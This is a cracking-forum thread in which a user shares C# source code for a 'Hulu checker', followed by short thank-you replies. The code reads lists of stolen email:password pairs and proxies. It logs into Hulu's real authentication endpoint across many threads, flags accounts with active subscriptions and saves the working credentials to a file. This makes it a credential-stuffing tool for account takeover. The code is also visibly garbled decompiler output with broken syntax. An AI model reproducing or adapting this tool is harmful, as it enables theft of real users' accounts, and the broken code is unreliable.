Sign in to follow this  
shycrackzz

[SOURCECODE] HULU CHECKER SOURCE C#

Recommended Posts

[align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK

 

LEECHERS ARE BAD AND GET BANNED[/align]

 

DOWNLOAD: 

 

 

[align=center][hide]

using Microsoft.VisualBasic.CompilerServices;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using xNet;
using System.Text.RegularExpressions;
public class Form1 {
   
   public string str;
   
   private bool dragging;
   
   private Point offset;
   
   private string run_status;
   
   private string date1;
   
   public int ComboListLength;
   
   public int ProxyListLength;
   
   public int GoodCount;
   
   public int ErrorCount;
   
   public int int_4;
   
   public int TestedCount;
   
   public int AccountsRemaining;
   
   public int int_7;
   
   public object object_0;
   
   private Point poComboListLength;
   
   public ProxyType proxyType_0;
   
   public Queue queue_0;
   
   public Random random_0;
   
   private List ComboList;
   
   private List ProxyList;
   
   public string[] string_2;
   
   public string[] string_3;
   
   private string string_5;
   
   public Thread[] thread_0;
   
   public string pass;
   
   public string user;
   
   private string testfile;
   
   private bool bool_6;
   
   private int int_6;
   
   public Form1() {
       this.object_0 = RuntimeHelpers.GetObjectValue(new object());
       this.random_0 = new Random();
       object Me.string_2;
       object Me.string_3;
       this.string_5 = "";
       string startupPath = Application.StartupPath;
       DateTime now = DateTime.Now;
       this.testfile = string.Concat(startupPath, "\\Results\\Good_", now.ToString("M-d-yyyy_h-m"), ".txt");
       this.InitializeComponent();
       Control.CheckForIllegalCrossThreadCalls = false;
       this.text_proxyType.SelectedIndex = 0;
       this.ComboList = new List();
       this.ProxyList = new List();
   }
   
   public void AutoSaveHits() {
       IEnumerator enumerator = null;
       Using;
       ((System.IO.StreamWriter)(streamWriter)) = new System.IO.StreamWriter(this.testfile);
       try {
           enumerator = this.ListView1.Items.GetEnumerator();
           while (enumerator.MoveNext()) {
               ListViewItem current;
               enumerator.Current;
               ListViewItem;
               streamWriter.WriteLine(string.Concat(new string[] {
                               current.Text,
                               ":",
                               current.SubItems(1).Text,
                               "|Subscription:",
                               current.SubItems(2).Text}));
           }
           
       }
       
       streamWriter.Close();
   }
}
Subpublic delegate void VBAnonymousDelegate_0();
Endclass Unknown {
}

   
   [DllImport("urlmon.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
   private static int CoInternetSetFeatureEnabled(int int_8, int int_9, bool bool_0) {
   }
   
   private void Label2_Click(object sender, EventArgs e) {
   }
   
   private void Label3_Click(object sender, EventArgs e) {
       WindowState = FormWindowState.Minimized;
   }
   
   private void Form1_FormClosed(object sender, FormClosedEventArgs e) {
       Application.Exit();
   }
   
   private void Panel1_MouseDown(object sender, MouseEventArgs e) {
       if ((e.Button == System.Windows.Forms.MouseButtons.Left)) {
           this.bool_6 = true;
           this.int_6 = (Control.MousePosition.X - this.Location.X);
           this.int_7 = (Control.MousePosition.Y - this.Location.Y);
       }
       
   }
   
   private void Panel1_MouseMove(object sender, MouseEventArgs e) {
       if (this.bool_6) {
           int x = (Control.MousePosition.X - this.int_6);
           Point mousePosition = Control.MousePosition;
           Point point = new Point(x, (mousePosition.Y - this.int_7));
           this.Location = point;
       }
       
   }
   
   private void Panel1_MouseUp(object sender, MouseEventArgs e) {
       this.bool_6 = false;
   }
   
   [DllImport("Gdi32.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
   private static IntPtr CreateRoundRectRgn(int int_8, int int_9, int ProxyListLength0, int ProxyListLength1, int ProxyListLength2, int ProxyListLength3) {
   }
   
   public string GenerateRandomString(ref int iLength) {
       System.Random random = new System.Random();
       char[] charArray = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ0123456789".ToCharArray();
       string str = "";
       int num = (iLength - 1);
       int num1 = 0;
       for (
       ; (num1 <= num); 
       ) {
           str = string.Concat(str, Conversions.ToString(charArray[random.Next(0, int.Parse(charArray.Length))]));
           num1 = (num1 + 1);
       }
       
       return str;
   }
   
   private void Button1_Click(object sender, EventArgs e) {
       List enumerator;
       (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
        + Enumerator[]);
       this.ComboList.Clear();
       System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
       // With...
       RestoreDirectory = true;
       Multiselect = false;
       Filter = "Combo List (*.txt)|*.txt";
       FilterIndex = 1;
       openFileDialog.ShowDialog();
       if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
           List strs = new List();
           Using;
           ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
           while ((streamReader.Peek() != -1)) {
               strs.Add(streamReader.ReadLine());
           }
           
       }
       
       try {
           enumerator = strs.GetEnumerator();
           while (enumerator.MoveNext()) {
               string current = enumerator.Current;
               try {
                   this.ComboList.Add(current);
               }
               catch (System.Exception exception) {
               }
               
           }
           
       }
       finally {
           enumerator;
           IDisposable;
           Dispose();
       }
       
       this.ComboListLength = this.ComboList.Count;
       this.AccountsRemaining = this.ComboListLength;
       this.ComboCountLabel.Text = this.ComboListLength.ToString();
       this.TestedCount = 0;
   }
   
   private void Button4_Click(object sender, EventArgs e) {
       List enumerator;
       (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
        + Enumerator[]);
       this.ProxyList.Clear();
       System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
       // With...
       RestoreDirectory = true;
       Multiselect = false;
       Filter = "Proxy List (*.txt)|*.txt";
       FilterIndex = 1;
       openFileDialog.ShowDialog();
       if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
           List strs = new List();
           Using;
           ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
           while ((streamReader.Peek() != -1)) {
               strs.Add(streamReader.ReadLine());
           }
           
       }
       
       try {
           enumerator = strs.GetEnumerator();
           while (enumerator.MoveNext()) {
               string current = enumerator.Current;
               try {
                   this.ProxyList.Add(current);
               }
               catch (System.Exception exception) {
               }
               
           }
           
       }
       finally {
           enumerator;
           IDisposable;
           Dispose();
       }
       
       this.ProxyListLength = this.ProxyList.Count;
       this.ProxyCountLbl.Text = this.ProxyListLength.ToString();
   }
   
   public void method_6() {
       int int4 = (this.int_4 - 1);
       for (int i = 0; (i <= int4); i = (i + 1)) {
           this.thread_0(i) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
           this.thread_0(i).IsBackground = true;
           this.thread_0(i).Abort();
       }
       
   }
   
   public static string smethod_0(string string_6, string string_7, string string_8) {
       string value;
       try {
           value = Regex.Match(string_6, (string_7 + ("(.*?)" + string_8))).Groups[1].Value;
       }
       catch (Exception ex) {
       }
       
       return value;
   }
   
   public void method_5() {
       if (string.Equals(this.run_status, "running")) {
           string proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
           while ((this.queue_0.Count > 0)) {
               object objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
               bool flag = false;
               object objectValue2;
               string text;
               try {
                   object expr_4C = RuntimeHelpers.GetObjectValue(objectValue);
                   objectValue2 = RuntimeHelpers.GetObjectValue(expr_4C);
                   Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_4C), flag);
                   try {
                       text = this.queue_0.Peek().ToString().TrimEnd(new char[] {
                                   "\r"}).Trim();
                       this.queue_0.Dequeue();
                   }
                   catch (Exception expr_94) {
                   }
                   finally {
                       if (flag) {
                           Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                       }
                       
                   }
                   
                   string[] array = text.Split(new char[] {
                               ":",
                               c});
                   try {
                       HttpRequest httpRequest = new HttpRequest();
                       httpRequest.Proxy = ProxyClient.Parse(this.proxyType_0, proxyAddress);
                       CookieDictionary cookies = new CookieDictionary(false);
                       httpRequest.Cookies = cookies;
                       httpRequest.IgnoreProtocolErrors = true;
                       httpRequest.ConnectTimeout = 25000;
                       httpRequest.AllowAutoRedirect = true;
                       httpRequest.KeepAlive = true;
                       httpRequest.UserAgent = Http.ChromeUserAgent();
                       Form1.smethod_0(httpRequest.Get("https://www.hulu.com/api/3.0/generate_csrf_value?for_hoth=true&path=/v2/web/password/authenticate", null).ToString(), "data-reactid=\"36\"/>                        httpRequest.AddParam("csrf", httpRequest.Cookies["_tcv"]);
                       httpRequest.AddParam("user_email", array[0]);
                       httpRequest.AddParam("password", array[1]);
                       if (httpRequest.Post("https://auth.hulu.com/v2/web/password/authenticate").ToString().Contains("{}")) {
                           string text2 = httpRequest.Get(string.Concat(new string[] {
                                           "https://secure.hulu.com/api/3.0/subscriber/account_page_info?_user_pgid=",
                                           httpRequest.Cookies["_hulu_pgid"],
                                           "&_content_pgid=29635&_device_id=1®ion=us&locale=en&language=en&zzuser_id=",
                                           httpRequest.Cookies["_hulu_uid"],
                                           "&zzcb=18110971"}), null).ToString();
                           if (!text2.Contains("has_active_subscription\": true,")) {
                               goto IL_458;
                           }
                           
                           str = "Active Subscription";
                           objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                           bool flag2 = false;
                           try {
                               object expr_269 = RuntimeHelpers.GetObjectValue(objectValue);
                               objectValue2 = RuntimeHelpers.GetObjectValue(expr_269);
                               Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_269), flag2);
                               array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
                               string[] array2 = text.Split(new char[] {
                                           ":",
                                           c});
                               user = array2[0];
                               pass = array2[1];
                               this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
                               this.GoodCount++;
                               this.TestedCount++;
                               this.AccountsRemaining--;
                               this.AutoSaveHits();
                               // TODO: Continue While... Warning!!! not translated
                           }
                           finally {
                               if (flag2) {
                                   Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                               }
                               
                           }
                           
                           if (text2.Contains("has_active_subscription\": true,")) {
                               str = "Active Subscription";
                           }
                           else {
                               str = "Free";
                           }
                           
                           objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                           bool flag3 = false;
                           try {
                               object expr_371 = RuntimeHelpers.GetObjectValue(objectValue);
                               objectValue2 = RuntimeHelpers.GetObjectValue(expr_371);
                               Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_371), flag3);
                               array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
                               string[] array3 = text.Split(new char[] {
                                           ":",
                                           c});
                               user = array3[0];
                               pass = array3[1];
                               this.string_2(this.GoodCount) = (text + (" |Subscription = " 
                                           + (str + "\r\n")));
                               this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
                               this.GoodCount++;
                               this.TestedCount++;
                               this.AccountsRemaining--;
                               this.AutoSaveHits();
                               // TODO: Continue While... Warning!!! not translated
                           }
                           finally {
                               if (flag3) {
                                   Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                               }
                               
                           }
                           
                       }
                       
                   IL_458:
                       objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
                       bool flag4 = false;
                       try {
                           object expr_46D = RuntimeHelpers.GetObjectValue(objectValue);
                           objectValue2 = RuntimeHelpers.GetObjectValue(expr_46D);
                           Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_46D), flag4);
                           this.ErrorCount++;
                       }
                       finally {
                           if (flag4) {
                               Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
                           }
                           
                       }
                       
                       this.TestedCount++;
                       this.AccountsRemaining--;
                   }
                   catch (Exception arg_4CF_0) {
                       this.int_7++;
                       this.queue_0.Enqueue(text);
                       proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
                   }
                   
               }
               
               if ((this.TestedCount == this.ComboListLength)) {
                   this.method_6();
               }
               
           }
           
       }
       
   }
   
   void Button2_Click(object sender, EventArgs e) {
       if ((Operators.CompareString(this.Button2.Text, "S t a r t", false) != 0)) {
           this.run_status = "stopping";
       }
       else {
           try {
               if ((this.ComboListLength == 0)) {
                   
               }
               else if ((this.ProxyListLength != 0)) {
                   if (!Directory.Exists(string.Concat(new string[] {
                                   "Results\\"}))) {
                       Directory.CreateDirectory(string.Concat(new string[] {
                                       "Results\\"}));
                   }
                   
                   this.run_status = "running";
                   this.text_proxyType.Enabled = false;
                   this.TextBox1.Enabled = false;
                   switch (this.text_proxyType.SelectedIndex) {
                       case 0:
                           this.proxyType_0 = ProxyType.Http;
                           break;
                           break;
                       case 1:
                           this.proxyType_0 = ProxyType.Socks4;
                           break;
                           break;
                       case 2:
                           this.proxyType_0 = ProxyType.Socks5;
                           break;
                           break;
                       default:
                           MessageBox.Show("Choose Proxy type");
                           return;
                           break;
                   }
                   this.Timer1.Start();
                   this.GoodCount = 0;
                   this.ErrorCount = 0;
                   this.string_2 = null;
                   this.string_3 = null;
                   this.TestedCount = 0;
                   this.int_7 = 0;
                   this.AccountsRemaining = this.ComboListLength;
                   this.queue_0 = new Queue();
                   int comboListLength = (this.ComboListLength - 1);
                   int num = 0;
                   for (
                   ; (num <= comboListLength); 
                   ) {
                       this.queue_0.Enqueue(this.ComboList(num));
                       num = (num + 1);
                   }
                   
                   this.int_4 = Convert.ToInt32(this.TextBox1.Text);
                   object Me.thread_0;
                   int int4 = (this.int_4 - 1);
                   int num1 = 0;
                   for (
                   ; (num1 <= int4); 
                   ) {
                       this.thread_0(num1) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
                       this.thread_0(num1).IsBackground = true;
                       this.thread_0(num1).Start();
                       num1 = (num1 + 1);
                   }
                   
                   this.Timer1.Enabled = true;
                   this.Button2.Text = "S t o p";
               }
               else {
                   
               }
               
           }
           catch (System.Exception exception) {
           }
           
       }
       
   }
   
   private void Timer1_Tick(object sender, EventArgs e) {
       this.HitsCountLabel.Text = this.GoodCount.ToString();
       this.TestCountLabel.Text = this.TestedCount.ToString();
       if ((Operators.CompareString(this.run_status, "stopping", false) == 0)) {
           int int4 = (this.int_4 - 1);
           for (int i = 0; (i <= int4); i = (i + 1)) {
               if (!this.thread_0(i).IsAlive) {
                   this.Button2.Text = "S t a r t";
                   this.text_proxyType.Enabled = true;
                   this.TextBox1.Enabled = true;
                   this.Timer1.Stop();
                   this.run_status = "Idle";
               }
               else {
                   this.thread_0(i).Abort();
               }
               
           }
           
       }
       
   }

 

[/hide][/align]

Share this post


Link to post
Share on other sites

[align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK

 

LEECHERS ARE BAD AND GET BANNED[/align]

 

DOWNLOAD: 

 

 

 

 

Thanks for this nice source!  :hype:

Share this post


Link to post
Share on other sites

[align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK

 

LEECHERS ARE BAD AND GET BANNED[/align]

 

DOWNLOAD: 

 

 

 

 

<33333333333333333333

  • Like 1

Share this post


Link to post
Share on other sites

hopefully works


hopefully works


hopefully works


6 more post to be alive

Share this post


Link to post
Share on other sites

really cool great share thanks so much man

Share this post


Link to post
Share on other sites

thanks my G need this not for hulu xd

Share this post


Link to post
Share on other sites

tyyyyyyyyyyyyyyyyyyyyyyyyy

Share this post


Link to post
Share on other sites

I liked your post, i'm not leeching : )

Share this post


Link to post
Share on other sites

[align=center]PLEASE LEAVE A LIKE IF YOU APPRECIATE MY WORK

 

LEECHERS ARE BAD AND GET BANNED[/align]

 

DOWNLOAD: 

 

 

 

 

wow thanks!

Share this post


Link to post
Share on other sites

checking this one out

Share this post


Link to post
Share on other sites

gooooooooooooood :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta: :fiesta:

Share this post


Link to post
Share on other sites

thank you man hard work

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this